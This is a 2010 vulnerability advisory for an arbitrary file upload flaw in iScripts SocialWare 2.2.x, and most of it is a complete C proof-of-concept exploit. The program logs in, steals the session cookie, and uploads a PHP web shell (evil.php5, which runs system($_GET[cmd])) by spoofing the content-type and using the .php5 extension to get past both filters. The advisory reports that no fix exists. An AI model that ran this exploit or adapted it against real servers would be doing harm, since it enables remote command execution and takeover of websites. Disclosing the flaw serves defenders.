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/*iScripts SocialWare 2.2.x Arbitrary File Upload Vulnerability NameiScripts SocialWare Vendorhttp://www.iscripts.com Versions Affected 2.2.x AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-02-07 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION iScriptsSocialWareisanaward-winning,easy to use socialnetworkingsoftwarethatenables you to create yourown social network like MySpace, Orkut, Friendster, Linkedin, Facebook, Hi5, etc. II. DESCRIPTION The arbitrary file upload is possibledueto two filters bypassing. III. ANALYSIS Summary: A) Arbitrary File Upload A) Arbitrary File Upload photos.phpisaffectedbyanarbitrary fileupload vulnerability. In this script, for each upload, two checks are executed: one on the content-type and one on thefile extension.Thecontent-typecanbebypassedusinga crafted HTTP packet.Thefileextensionfiltercan be bypassed using the php5 extension instead of php extension. The maliciousfilewillbe renamed and copiedin member_photosdirectory,thatsometimes has a 777 permission. Usingthis vulnerability a user can execute arbitrary php code. IV. SAMPLE CODE A) Arbitrary File Upload http://www.salvatorefresta.net/files/poc/PoC-iScriptsSW22.c */ /* Poc Remote Shell Upload - iScripts SocialWare 2.2.x Author: Salvatore Fresta aka Drosophila E-mail: salvatorefresta@gmail.com Date: 02 July 2010 This Proof of Concept will upload a simple php shell (evil.php5) in member_photos. Compile on Unix-like systems: gcc PoC-FC213.c -o PoC-FC213 Compile on Microsoft Windows: gcc PoC-FC213.c -lws2_32 -o PoC-FC213 ./PoC-FC213 --host hostname --path /path/ -u username -p password [*] Connecting... [+] Connected [*] Login... [+] Login Successful [*] Uploading... [+] Shell uploaded [+] Connection closed */ #include <string.h> #include <stdlib.h> #include <stdio.h> #include <stdarg.h> #include <getopt.h> #ifdef WIN32 #include <winsock.h> #define close closesocket #else #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #endif int vspr(char **buff, char *fmt, ...) { va_list ap; int len, mlen; char*ret = NULL; mlen = strlen(fmt) + 128; va_start(ap, fmt); while(1) { ret = (char *) malloc(mlen); if(!ret) return -1; len = vsnprintf(ret, mlen, fmt, ap); if((len >= 0) && (len < mlen)) break; mlen = len < 0 ? mlen+128 : len+1; free(ret); } va_end(ap); *buff = ret; return len; } int socket_connect(char *server, int port) { int fd; struct sockaddr_in sock; struct hostent *host; #ifdef WIN32 WSADATA wsadata; if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1; #endif memset(&sock, 0, sizeof(sock)); if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; sock.sin_family = AF_INET; sock.sin_port = htons(port); if(!(host=gethostbyname(server))) return -1; sock.sin_addr = *((struct in_addr *)host->h_addr); if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1; return fd; } char *socket_receive(int sock, int tout) { int ret, byte, oldpkglen = 0, pkglen = 0; char *buffer = NULL, tmp[128]; struct timeval timeout; fd_set input; if(sock < 0) return NULL; while (1) { FD_ZERO(&input); FD_SET(sock, &input); if(tout > 0) { timeout.tv_sec= tout; timeout.tv_usec = 0; ret = select(sock + 1, &input, NULL, NULL, &timeout); } else ret = select(sock + 1, &input, NULL, NULL, NULL); if (!ret) break; if (ret < 0) return NULL; byte = recv(sock, tmp, sizeof(tmp), 0); if(byte < 0) return NULL; if(!byte) break; oldpkglen = pkglen; pkglen += byte; buffer = (char *) realloc(buffer, pkglen+1); if(!buffer) return NULL; memcpy(buffer+oldpkglen, tmp, byte); } if(buffer) buffer[pkglen] = 0; return buffer; } void usage(char *cmd) { printf("\nPoC Remote Shell Upload - iScripts SocialWare 2.2.x\n" "Written by Salvatore Fresta\n\n" "usage: %s [options]\n" "\n" "Required options:\n" "\n" "\t--host : Target hostname\n" "\t--port : Remote TCP Port (default 80)\n" "\t--path : Webserver path (ex: /path/ or /)\n" "\t--username : Registered username\n" "\t--password : Password for username\n\n" "Example: %s --host localhost --path /path/ -u mario@mail.net -p rossi\n\n", cmd, cmd); } int main(int argc, char *argv[]) { int sd, option, optidx, port = 80, clen, pkglen; char *buffer= NULL, *rec = NULL, *session = NULL, *host= NULL, *path= NULL, *user= NULL, *passwd= NULL, code[] = "--AaB03x\r\n" "Content-Disposition: form-data; name=\"photo\"; filename=\"evil.php5\"\r\n" "Content-Type: image/jpeg\r\n" "\r\n" "<?php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre>\"?>\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"Call\"\r\n" "\r\n" "add\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"photoType\"\r\n" "\r\n" "P\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"image.x\"\r\n" "\r\n" "8\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"image.y\"\r\n" "\r\n" "5\r\n" "--AaB03x--\r\n"; struct option long_options[] = { {"host", 1, 0,1 }, {"port", 1, 0,2 }, {"path", 1, 0,3 }, {"username", 1, 0, 'u'}, {"password", 1, 0, 'p'}, {NULL, 0, 0,0 }, }; if(argc < 2) { usage(argv[0]); return -1; } while((option = getopt_long(argc, argv, "u:p:", long_options, &optidx)) > 0) { switch(option) { case 1: host = optarg; break; case 2: port = atoi(optarg); break; case 3: path = optarg; break; case 'u': user = optarg; break; case 'p': passwd = optarg; break; default: usage(argv[0]); return -1; break; } } if(!host || !path || !user || !passwd || port < 0) { usage(argv[0]); return -1; } printf("\n[*] Connecting...\n"); if((sd = socket_connect(host, port)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } printf("[+] Connected" "\n[*] Login..."); clen = strlen(user)+strlen(passwd)+16; pkglen = vspr(&buffer, "POST %scheck_login.php HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "\r\n" "email=%s&password=%s", path, host, clen, user, passwd); if(send(sd, buffer, pkglen, 0) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 0))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(strstr(rec, "Password is invalid")) { printf("\n[-] Login Incorrect!\n\n"); free(buffer); close(sd); return -1; } session = strstr(rec, "PHPSESSID"); if(!session) { printf("\n[-] Session error!\n\n"); free(buffer); close(sd); return -1; } session = strtok(session, ";"); if(!session) { printf("\n[-] Session error!\n\n"); free(buffer); close(sd); return -1; } printf("\n[+] Login Successful" "\n[*] Uploading...\n"); close(sd); if((sd = socket_connect(host, port)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } free(buffer); clen = strlen(code); pkglen = vspr(&buffer, "POST %spopups/photos.php HTTP/1.1\r\n" "Host: %s\r\n" "Cookie: %s\r\n" "Content-type: multipart/form-data, boundary=AaB03x\r\n" "Content-Length: %d\r\n" "\r\n" "%s", path, host, session, clen, code); if(send(sd, buffer, pkglen, 0) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 3))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(!strstr(rec, "evil.php5")) { printf("\n[-] Upload failed!\n\n"); free(buffer); close(sd); return -1; } free(buffer); close(sd); printf("[+] Shell uploaded" "\n[+] Connection closed\n\n"); return 0; } /* V. FIX No Fix. */ |
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